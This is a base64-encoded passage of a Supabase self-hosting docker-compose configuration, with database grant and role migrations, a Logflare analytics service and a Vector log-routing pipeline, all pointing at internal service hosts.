ZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvbnRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6ND